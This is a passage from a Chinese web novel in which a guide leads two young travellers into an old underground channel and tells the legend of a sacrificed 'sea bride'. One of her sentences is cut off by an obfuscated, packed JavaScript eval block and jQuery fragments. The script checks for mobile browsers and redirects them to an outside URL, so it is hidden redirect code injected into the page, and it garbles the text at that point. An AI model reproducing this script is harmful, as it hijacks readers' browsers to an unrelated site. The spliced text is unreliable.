“她是谁?”
“一个可怜人。”陈原站起身,“你们等下有急事吗?”
宋礼摇摇头。
“那你们跟我来吧。”陈原转头对江述野补了一句,“后面这些,都是另外的价钱啊。”
江述野耸耸肩没说什么,搬起鱼缸跟了上去。
三人从后面一扇不起眼的小门出去,走过了一条窄得只能容得下一人通过的石阶,石阶两侧是密密的竹林,光线暗了下来。
石阶向下延伸,越走越深,温度也越来越低。走了大约十分钟,石阶尽头是一个拱形的石门,石门上方嵌着一块褪了字的石匾,看不出上面的字。石门半塌,只有一条缝隙勉强能侧身通过。
陈原从墙上取下一盏应急灯拧亮了,侧身钻进去。宋礼跟在后面,江述野拿着鱼缸最后进来。
里面是一条暗渠,宽不过两米,高约两米五,砖顶被树根纠缠着。两侧的墙面砌着青砖,墙面有些地方还挂着空空洞洞的成堆的藤壶壳,看得宋礼一阵恶心。
顺着陈原的应急灯光照方向看过去,有几块旧船板,旁边还有一只破旧的木桨,一般插在泥里。
走了大概百来步,前面没路了。一堆厚厚的泥沙和碎石从顶部塌下来,把整条暗渠堵得死死的。
陈原站在泥沙堆前,把应急灯举高了一点。
“一百多年前,我们现在站的这块地方,是片海,这下面就是当年那片海的遗迹。海边有个小渔村,村里有个习俗,每二十年选一个女孩,封为海新娘,养在船上,身着嫁衣,终生不得上岸。村民供奉她,认为她能保佑出海平安,渔获丰收。”
陈原的声音在暗渠中显得格外冷。
“后来,一伙从南洋流窜过来的海盗盯上了这里。他们抢了几条渔船,又放话要血洗村子。村里人凑不出那么多金银,有人就想起了船上的海新娘。”
“村里人说,她是海神的人有神力。把她交出去,海盗不敢动她,说不定还会被吓跑。也有人说,就是因为供奉了她,才招来这场灾祸,把她献出去,正好赎罪。”
宋礼忍不住了:“这群人怎么这样啊!”
陈原继续说:“没人反对。他们把她从船上拖下来,推到村口,交给那群海盗。那是她这辈子第一次踩在地上,没想到就是去送死。后来海盗把村子洗劫一空,村子倒是保住了。”
宋礼忍不住追问:“那她当时死了吗?怎么死的?海盗杀的?”
陈原看了她一眼:“你想得简单。她死得很波折,怕你听了受不了。”她顿了顿,“她从海盗手里活下来了,但也只剩半条命。是海盗走了之后,村里人自己干的。他们把她绑在船头,在船底凿了个洞,把船推到深海,让她一个人沉下去。她死的时候才十六岁。他们怕她回来,怕她记仇和报复村子。”
宋礼觉得胸口闷得喘不上气。她好像能感觉到船底的水一点一点漫上来,海水灌进喉咙,呛得她咳不出来,也根本喊不出声音。
她按着起伏的心脏:“陈阿婆,你告诉我,最后这个村子怎么样了?”
陈原目光平静:“最后,她的执念太深,魂魄没散,一直沉在这片海底。有一年,海啸把整个村子吞了,没有人活下来。”
宋礼大大地舒出一口气,总算是有点释然了。
在集体情绪的狂欢里,一个人的挣扎只会成为别人泄愤的烟花。今天的英雄明天就可能变成靶子,就像海新娘,危险来临就能被推出去牺牲。
人们造神又毁神。从头到尾也没有任何人问过那个被选中的人愿不愿意。
她运气好,生在这个时代,那个女孩运气不好,一生活在海上,被迫惨死,没有人救她。
陈原转身看向宋礼:“她的执念太深,因为能量波动,引来了迷途的灵,比如你带来的这个小东西。这个小东西回不了家,也是因为那个女孩的怨气。
小海瑟缩了一下。
“那现在怎么办?”江述野问。
“你们有两个选择。”陈原竖起两根手指,“你们可以现在走,离开这片海域。距离远了她的声音就听不见了,你可以过回你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470425|201448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以前的生活,没什么太大问题。但这个小海灵就没法活下去,海新娘的执念会继续累积,迟早有一天会爆发,到时候这片海域都会受影响。”
这暗渠里面光线昏暗又潮湿,待久了人容易缺氧,陈原觉得闷得慌,就领着二人往外走,边走边说:“第二个选择应该不用我多说了吧?”
宋礼心里清楚,毫无疑问,第二个选择就是帮海新娘化解执念,送小海回家。但是,从陈阿婆的描述中来看,海新娘的执念很强,她这种半吊子硬要做这种事情,会不会很危险?
渐渐地,三人走出暗渠,还是按照刚才的顺序,陈原领头,江述野垫后。陈原时不时回头,告诫身后的宋礼:“小姑娘,你得想好,要么你就干脆不要理这件事情了,直接回家。不然一旦下了决心开始,就必须做完。听潮人听了谁的故事,就要对谁负责到底。中途放弃,那些执念会缠上你跟你一辈子的,哪怕离开了澜洲也甩不开。”
宋礼停下脚步,转过头去问江述野:“你怎么想。”
江述野说:“你自己选,我都行。不过先说好,你要是决定好了,后面的事是你雇我,我没道理有钱不赚。”
宋礼骨子里就爱冒险爱挑战,宋家的女人,大多都这样。其实说穿了,她就是单纯爱凑个热闹,想做什么从来都不需要冠冕堂皇的理由。这场毕业旅行正精彩着,她干不出来半途而废的事情。
随即,她转过头,目光落到小海身上,心想,总不能真把这小家伙抛下不管吧?
江述野一眼就看穿了她那点心思,眉梢微挑,调侃道:“你自己想玩就直说,还装得多在意这小东西一样。”
“喂!”宋礼抬手想要肘击江述野,被他灵巧躲开,“你少在那里编排我。”
江述野看着她有点炸毛的背影,嘴角很轻地上扬,笑意融进林子里,看不分明。
宋礼快走两步跟上陈原,此刻的语气已经认真了不少:“陈阿婆,那我具体该怎么做?”
陈原停下脚步,转过身:“办法是有的,但过程有些特别。”